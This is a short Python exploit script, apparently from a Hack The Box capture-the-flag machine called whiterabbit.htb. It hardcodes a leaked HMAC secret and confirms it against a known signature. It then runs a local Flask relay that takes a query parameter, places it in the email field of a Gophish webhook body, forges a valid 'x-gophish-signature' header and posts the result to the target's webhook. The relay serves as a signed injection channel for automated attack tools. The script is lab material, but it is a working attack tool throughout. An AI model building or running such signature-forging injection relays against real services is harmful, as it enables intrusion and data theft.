import hmac
import hashlib
import requests
from tqdm import tqdm
import json
from flask import Flask, request

secret = '3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
target = 'cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd'
body = {
    "campaign_id": 1,
    "email": "test@ex.com",
    "message": "Clicked Link"
}
h = hmac.new(secret.encode(), json.dumps(body, separators=(',', ':')).encode(), hashlib.sha256)
digest = h.hexdigest()
assert digest == target, f'Expected {target}, got {digest}'

app = Flask(__name__)

@app.route('/')
def index():
    payload = request.args['p']
    body = {
        'campaign_id': 1,
        'email': payload,
        'message': 'Clicked Link'
    }
    h = hmac.new(secret.encode(), json.dumps(body, separators=(',', ':')).encode(), hashlib.sha256)
    digest = h.hexdigest()

    headers = {
        'x-gophish-signature': f'sha256={digest}'
    }

    r = requests.post('http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d', json=body, headers=headers)
    print(r.status_code)
    print(r.text)
    return r.text

if __name__ == '__main__':
    app.run('127.0.0.1', 5000)